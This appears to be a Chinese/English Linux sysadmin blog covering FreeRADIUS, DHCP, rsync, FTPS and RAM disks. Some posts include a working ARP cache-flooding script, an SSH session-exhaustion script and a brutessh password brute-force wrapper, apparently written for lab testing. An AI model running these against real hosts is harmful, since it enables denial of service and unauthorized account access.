# vi ca.cnf
  Edit the "input_password" and "output_password" fields to be the
  password for the CA certificate.
  Edit the [certificate_authority] section to have the correct values
  for your country, state, etc.
# make ca.pem
  This step creates the CA certificate.
# make ca.der
  This step creates the DER format of the self-signed certificate,
  which is can be imported into Windows.

3. MAKING A SERVER CA:

# vi server.cnf
  Edit the "input_password" and "output_password" fields to be the
  password for the server certificate.
  Edit the [server] section to have the correct values for your
  country, state, etc.  Be sure that the commonName field here is
  different from the commonName for the CA certificate.
# make server.pem
  This step creates the server certificate.
  If you have an existing certificate authority, and wish to create a
  certificate signing request for the server certificate, edit
  server.cnf as above, and type the following command.
# make server.csr
  You will have to ensure that the certificate contains the XP
  extensions needed by Microsoft clients.

4. To modify client configuration directives in /etc/raddb/clients.conf

client 10.10.0.0/16 {
        secret          = testing123
        shortname       = private-network-2
}

5. To modify EAP type in /etc/raddb/eap.conf

default_eap_type = ttls
....
ttls {
                default_eap_type = mschapv2
                copy_request_to_tunnel = yes
                use_tunneled_reply = yes
                #virtual_server = "inner-tunnel"
}
....

6. To add user in /etc/raddb/users
lawrence Cleartext-Password := "testing"

7. To disable MPPE in /etc/raddb/modules/mschap
        use_mppe = no

8. Restart FreeRADIUS:
# /etc/init.d/radiusd restart

That's all.




Tuesday, April 24, 2012

How to configure DHCP Server prefer broadcast response all the time under Linux?

上篇Configure Windows7 prefer DHCP unicast or broadcast response,說明了可更改OS的設定,然而有一種情況是DHCP Server說了算!也就是說DHCP Server可以不管DHCP client原本的預期,而一律採用broadcast的方式回應,在dhcpd中,只要加一筆參數就可以了。

# vi /etc/dhcpd.conf
.....

always-broadcast on;
......

修改後,記得restart dhcpd。
# /etc/init.d/dhcpd restart

BTW, Windows7預設prefer broadcast response,WindowsXP則是unicast response,而一般的linux distro.同樣也是unicast。

How to send Gratuitous ARP request/reply via arping under Linux

What's Gratuitous ARP:
http://wiki.wireshark.org/Gratuitous_ARP

How?
1. GARP request:
 # arping -U 10.10.10.100 -I eth0
  -U : Unsolicited ARP mode, update your neighbours
  -I device : which ethernet device to use (eth0)

2. GARP reply:

 # arping -A -U 10.10.10.100 -I eth0
  -A : ARP answer mode, update your neighbours

Thursday, March 22, 2012

Virtual file system in Linux

如果你想要在Linux系統中從一個既有的partition去虛擬另一個partition的話,Virtual file system是一個蠻不錯的小技巧。

Step1. 建立一個空檔:
[root@localhost ruckus]# cd /tmp/
[root@localhost tmp]# dd if=/dev/zero of=vs_file bs=1M count=512
512+0 records in
512+0 records out
536870912 bytes (537 MB) copied,0.767225 秒,700 MB/s
Step2. 將空檔格式化成虛擬的檔案系統:
[root@localhost tmp]# mke2fs -j vs_file
mke2fs 1.39 (29-May-2006)
vs_file is not a block special device.
Proceed anyway? (y,n) y
Filesystem label=
OS type: Linux
Block size=1024 (log=0)
Fragment size=1024 (log=0)
131072 inodes, 524288 blocks
26214 blocks (5.00%) reserved for the super user
First data block=1
Maximum filesystem blocks=67633152
64 block groups
8192 blocks per group, 8192 fragments per group
2048 inodes per group
Superblock backups stored on blocks:
8193, 24577, 40961, 57345, 73729, 204801, 221185, 401409

Writing inode tables: done
Creating journal (16384 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 21 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.
Step3. 以一般掛載partition的方法掛載虛擬檔案系統:
[root@localhost tmp]# mount -o loop /tmp/vs_file /mnt/vf/

Step4. 驗證一下:
[root@localhost tmp]# mount | grep vs_file
/tmp/vs_file on /mnt/vf type ext3 (rw,loop=/dev/loop0)
[root@localhost tmp]# cd /mnt/vf/
[root@localhost vf]# ls
lost+found
[root@localhost vf]# touch test
[root@localhost vf]# ls
lost+found test

GNU Hurd kernel

孤陋寡聞,原來GNU原先預期搭載的kernel不是用Linux而是Hurd。
http://www.gnu.org/software/hurd/index.html
http://zh.wikipedia.org/wiki/Hurd
http://www.osnews.com/story/25724/Interview_Richard_Stallman

Monday, March 19, 2012

Configure Windows7 prefer DHCP unicast or broadcast response

預設上Windows7 Home edition是prefer DHCP Server回應的封包採用broadcast的方式,當然這也是可以更改為unicast的,做法很簡單,只要透過register table來更改就可以完成了。

Click Start->regedit->

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}

GUID這邊指的是對應到的NIC,可用wireshark來幫助查詢。

DhcpConnForceBroadcastFlag (0 or 1)

0 indicate unicast

1 indicate broadcast

Wednesday, March 07, 2012

Low bandwidth HTTP attack: Slowloris

Low bandwidth HTTP attack與傳統的DoS反其道而行,採取的方法是用單一的機器只需少少的頻寬就可以讓HTTP Server癱瘓,其中最著名的就是Slowloris,他的原理簡單的來說是對HTTP Server送不出完全的HTTP request,並且試著讓它保持不被HTTP Server timeout,如此一來HTTP Server可開啟的最大socket數就會滿了,最後導致HTTP Server無法提供服務給其他機器。


請勿以此工具攻擊別人,謝謝。

參考來源:
http://ha.ckers.org/slowloris/
http://news.softpedia.com/news/Web-Servers-in-Danger-from-Low-Bandwidth-HTTP-DoS-114745.shtml
http://en.wikipedia.org/wiki/Slowloris


ARP/MAC address flooding attack

在BT5結合arping測試工具,寫了一個簡單的script來測試目標主機可否hold得住ARP/MAC address flooding attack,script內容如下:
root@bt:~# cat bin/arp_cache.sh
#!/bin/bash

function arp_cache_attack
{
while true;
do
for((i=1;i<=100;i++))
do
mac=$(($RANDOM%10))
number1=$(($RANDOM%254))
number2=$(($RANDOM%254))
number3=$(($RANDOM%254))
number4=$(($RANDOM%254))
arping -S "$number1.$number2.$number3.$number4" -s 00:00:00:00:$mac:$mac 10.10.6.6 -c 1 &
done
sleep 1
kill `ps aux | grep -i arping | grep -v grep | awk -F" " '{ print $2 }'` 1>/dev/null
sync && echo "3" > /proc/sys/vm/drop_caches
echo "re-generate"
done
}

arp_cache_attack

此script每次會產生100筆隨機的假IP與MAC address去嘗試塞滿目標主機(10.10.6.6於以上script中)的arp table。

僅供個人研究,請勿以此script測試或攻擊別人的主機。

Thursday, February 16, 2012

OSX 10.8 Mountain Lion~

你能相信嗎?OSX 10.8要發佈了!Lion真是史上最短的OSX。

如何測試SSH Server可接受的未經授權的最大連線數?

寫了一個簡單的script如下,去做測試然而目前只支援Class C,可以改善的空間應該還不少。
#!/bin/bash

# Bind IP
read -p "Which interface? [eth0]: " INTERFACE
read -p "Net address: [10.10.10] " NETIP
read -p "Min IP address: [1] " MiIP
read -p "Max IP address:[254] " MaIP

for((i="$MiIP";i<="$MaIP";i++))
do
ip addr add "$NETIP"."$i"/24 dev $INTERFACE 1>/dev/null 2>1
done
echo ""

# Start to test
read -p "Target: [10.10.10.10] " TARGET
i=$MiIP
num=1

echo ""
echo "Preparing for test target: $TARGET"
sleep 5

while true;
do
ssh admin@$TARGET -o StrictHostKeyChecking=no -b "$NETIP"."$i" 1>/dev/null 2>1 &
sleep 1
netstat -an | grep 22 | grep ESTABLISHED | grep "\<$NETIP"."$i\>"
if [ `echo $?` -ne 0 ]; then
num=$(($num-1))
echo "The maximum SSH session of $TARGET is $num"
kill `ps aux | grep "\<22\>" | grep -v grep | grep -v ssh-agent | awk -F" " '{print $2}'` > /dev/null
break
else
echo "SSH session number $num is established!"
i=$(($i+1))
num=$(($num+1))
fi
done

exit



Wednesday, February 15, 2012

SSH Brute Force attack tools

Here it is: http://zeldor.biz/2011/01/how-to-bruteforce-ssh/

And I'v wrote a bash script to make it more easy to use as following:
1 #!/bin/bash
2
3 read -p "Please enter your target host: " HOST
4 echo "Enter run to launch SSH Brute Force Attack, or exit to leave it."
5
6 echo -n "[run/exit]? "
7 while read LINE;
8 do
9 if [ $LINE = "run" ]; then
10 clear
11 python /root/bin/brutessh/brutessh.py -h $HOST -u admin -d /root/bin/brutessh/passlist.txt &
12 sleep 10
13 echo -n "***** Enter exit can stop SSH Brute Force attack immediately or rerun it again. ***** [run/exit]? "
14 continue
15 elif [ $LINE = "exit" ]; then
16 kill `ps aux | grep brutessh.py | grep -v grep |awk -F" " '{ print $2 }'` 2> /dev/null
17 break
18 fi
19 done

Please to adjust /root/bin/brutessh/ above to work with your environment.

Thanks to Igor Drobot (http://zeldor.biz/about/ blog author) and laramies (brutessh author).

Tuesday, January 03, 2012

快速操作Gnome-shell

找到了一篇對於Gnome-shell不錯的鍵盤與滑鼠的快速操作說明,先收藏起來。

Synchronize files by rsync between two Linux hosts

有別於以往先手動交換主機間SSH的金鑰後再透過rsync於兩台主機間同步檔案,今天又學習到了一個新方法,在此稍做筆記。

需求:
將/var/www/html自動從HostA同步到HostB。
HostA: 10.10.2.126 (source)
HostB: 10.10.2.128 (destination)

Step:
1. 設定HostA(Destination):
1.1 確定有安裝rsync:
[root@server1 ~]# rpm -qa | grep -i rsync
rsync-3.0.6-5.el6_0.1.i686
1.2 編輯/etc/xinetd.d/rsync:
service rsync
{
disable = no
flags = IPv6
socket_type = stream
wait = no
user = root
server = /usr/bin/rsync
server_args = --daemon
log_on_failure += USERID
}
1.3 建立/etc/rsyncd.conf:
# any name you like
[test]
# destination directory
path = /home/backup
# Hosts you allow to copy (specify source Host)
hosts allow = 10.10.2.126
hosts deny = *
list = true
uid = root
gid = root
read only = false
1.4 重新啟動xinetd
[root@server1 ~]# /etc/init.d/xinetd restart
正在停止 xinetd: [ 確定 ]
正在啟動 xinetd: [ 確定 ]

2. 設定HostB(Source):
2.1 確定有安裝rsync:
[root@server1 ~]# rpm -qa | grep rsync
rsync-3.0.6-4.el5_7.1
2.2 執行rsync將檔案同步:
[root@server1 ~]# rsync -avz --delete /var/www/html/ 10.10.2.128::test
sending incremental file list
./
proxy.pac
proxy.pac.ipv4
proxy.pac.ipv6
wpad.dat -> proxy.pac
ssl/
ssl/index.hrml

sent 3089 bytes received 174 bytes 6526.00 bytes/sec
total size is 5039 speedup is 1.54

Friday, December 30, 2011

IP scanner on Mac OSX

發現了一套在Mac OSX下還算蠻簡單易用的IP scanner tool: Angry IP Scanner,雖然對於Mac OSX還在Beta階段,但是還算可用!

另外還有一套更好用IP scanner是由10base-t interactive開發,但是當然好用的代價就是請付點Coco.

Saturday, December 10, 2011

Remove unnecessary language resources from Mac OS X

很多工具都可以幫忙刪除系統應用程式中用不到的語系,但是我覺得Monolingual是最簡潔輕巧的一款好工具,推薦給大家使用,官方只說支援到10.6但是我剛剛在10.7.2也運作得非常好,幫我省去了1.3G的空間。

Monday, December 05, 2011

PKC or OKC?

今天同事給了一個有關Wireless station roams時的行為討論,主要是在講到底什麼是PKC與OKC,實在是非常精闢的討論,故收藏起來,以供日後參考。


簡單的定義:
Proactive Key Caching (PKC) or Opportunistic Key Caching (OKC) - In the 802.11i specification there is a suggestion towards WPA2 Pairwise Master Key ID (PMKID) caching. PKC/OKC is one interpretation of this suggestion. The station remembers the PMKID from its initial BSSID with which it associated and authenticated. When the client roams to another BSSID it uses the original PMKID and hashes it with the new BSSID and comes up with new keys. It needs a centralised controller to distribute the PMKID out to the AP's to make it all work.

Sunday, December 04, 2011

X10 VS P7100

最近想買類單相機呀!找了一個table比較一下各家的spec,要不是X10在資訊會價格硬又沒送東西的話,今天就會買了吧..... 看了一看P7100好像也不錯,省下來的錢還可以買一台3DS。

規格比較表:

RAMDisk tool on Mac OSX

現在的RAM比起以往便宜了許多,多餘的記憶體空間若空閒在那邊的確是有點可惜,把RAM當disk使用不論在Linux或是Windows上都有相對應的方法與工具,當然Mac上也是有的,最簡單的工具首推TmpDisk,怎麼設定呢?那真是簡單到不行呀,不用多說看下面的截圖您必定明白。

這邊也提供MacOSX手動產生RAMdisk的方法:

最常用的就是將RAMdisk當成瀏覽器的快取,以下提供我用Google Chrome實作的步驟:
Step1. 透過TmpDisk產生RAMDisk,並且將Auto CreateAlways start on login啟動。
Step2. 關閉Google Chrome。
Step3. 開啟OSX的終端機。
Step4. 將Chrome目前的快取目錄刪除。
rm -rf ~/Library/Caches/Google/Chrome/Default
Step5. 產生一個softlink將~/Library/Caches/Google/Chrome/Default連接到Step1產生的快取.
ln -s /Volumes/Chrome\ Cache/ ~/Library/Caches/Google/Chrome/Default
/Volumes/Chrome\ Cache/就是我透過TmpDisk產生的快取。

Configure Apache to use SSL on CentOS5.X

預設CentOS5.X啟動Apache時,https並沒有跟著被帶起來,其實只要裝上mod_ssl這個套件後,當下次重新啟動Apache時,就會自動打開https了,而其主要的配置檔案會自動產生於/etc/httpd/conf.d/ssl.conf檔案中。

這個方法固然快速,然而如果你想手動自己來的話還是可以的。


Saturday, December 03, 2011

RuckusWireless TDC誠徵QA Engineer

敝公司目前有在找QA Engineer,有興趣的人不妨可以投履歷看看!
順便貼上一段當初看完影片後,讓我百分之百想進入RuckusWireless工作的影片,現在看起來還是很熱血。
http://www.youtube.com/watch?v=62-3m5N8X1g&feature=related

Sunday, November 06, 2011

Tips: 找尋欲編輯的檔案內容並且直接開啟

[root@centos6 etc]# vi `find /etc/ | xargs grep "vsftpd.pem" | cut -d: -f1`
Explain:
1. 在/etc folder透過find指令尋找全部的檔案。
2. 透過xargs將pipe前的stdout轉變成餵給grep的參數。
3. 透過cut指令做簡單的filter。
4. 將`find /etc/ | xargs grep "vsftpd.pem" | cut -d: -f1`看成一個指令的輸出,餵給vi。

Tips: 查看user屬於那一個group

傳統的方法是透過/etc/group的文檔來查看user屬於哪一些group。
[root@centos6 ~]# cat /etc/group | grep root
root:x:0:root
bin:x:1:root,bin,daemon
daemon:x:2:root,bin,daemon
sys:x:3:root,bin,adm
adm:x:4:root,adm,daemon
disk:x:6:root
wheel:x:10:root

其實可以透過groups指令來查詢的。
[root@centos6 ~]# groups root
root : root bin daemon sys adm disk wheel
[root@centos6 ~]#

Saturday, November 05, 2011

於CentOS6架設FTP-SSL

如果要在Internet上開放FTP的服務給使用者使用,比較安全的做法有SFTPFTPs,但是SFTP必需也要開放sshd,萬一OpenSSH存在系統漏洞的話,整個系統是很容易受到攻擊的!所以FTPs看起來是比較安全的應用,以下便簡單記錄怎麼在CentOS6中透過vsftpd架設FTPs。

Steps:
1. 檢查vsftpd是否有支援ssl:
[root@centos6 ~]# ldd `which vsftpd` | grep ssl
libssl.so.10 => /usr/lib/libssl.so.10 (0x00af1000) -> 看到libssl則代表有支援。

2. 產生vsftpd所需要的憑證:
[root@centos6 ~]# cd /etc/pki/tls/certs/
[root@centos6 certs]# make vsftpd.pem
[root@centos6 certs]# cp -a vsftpd.pem /etc/vsftpd/

3. 設定vsftpd.conf:
anonymous_enable=YES
local_enable=YES
write_enable=YES
local_umask=022
dirmessage_enable=YES
xferlog_enable=YES
connect_from_port_20=YES
xferlog_file=/var/log/vsftpd.log
xferlog_std_format=YES
chroot_local_user=YES
chroot_list_enable=YES
chroot_list_file=/etc/vsftpd/chroot_list ->注意!必需要手動產生一個chroot_list的空檔
listen=YES
pam_service_name=vsftpd
userlist_enable=YES
tcp_wrappers=YES
ssl_enable=YES
allow_anon_ssl=NO
force_local_data_ssl=YES
force_local_logins_ssl=YES
ssl_tlsv1=YES
ssl_sslv2=NO
ssl_sslv3=NO
rsa_cert_file=/etc/vsftpd/vsftpd.pem

4. 啟動vsftpd
[root@centos6 vsftpd]# /etc/init.d/vsftpd restart
正在關閉 vsftpd: [ 確定 ]
正在啟動 vsftpd 中的 vsftpd: [ 確定 ]
[root@centos6 vsftpd]#

5. 在OSX透過Cyperduck測試:
5.1 設定連線為FTP-SSL
5.2 輸入FTP Server的IP address,系統會警告一個不被信任的憑證,當然此憑證是我剛剛產生的,所以要信任它囉:

大功告成!

Friday, November 04, 2011

透過網路安裝RHEL6

其實做法跟RHEL5一樣,只是與RHEL5不同的是開機時沒有boot:的提示,以下透過CentOS6簡單演練一下:

Steps:
1. 放入CentOS6的開機光碟,但是與RHEL5不一樣的是沒有boot:的提示,取而代之的是grub直接帶出以下的選項:

2. 按下ESC帶出boot: 並且輸入linux askmethod叫系統帶出安裝的方法。

3. 選擇語系:

4. 選擇鍵盤的配置:

5. 選擇安裝的方法,此例子選擇來源為NFS Server:

6. 設定IP address:

7. 設定NFS Server:

8. 之後anaconda就可以順利啟動了: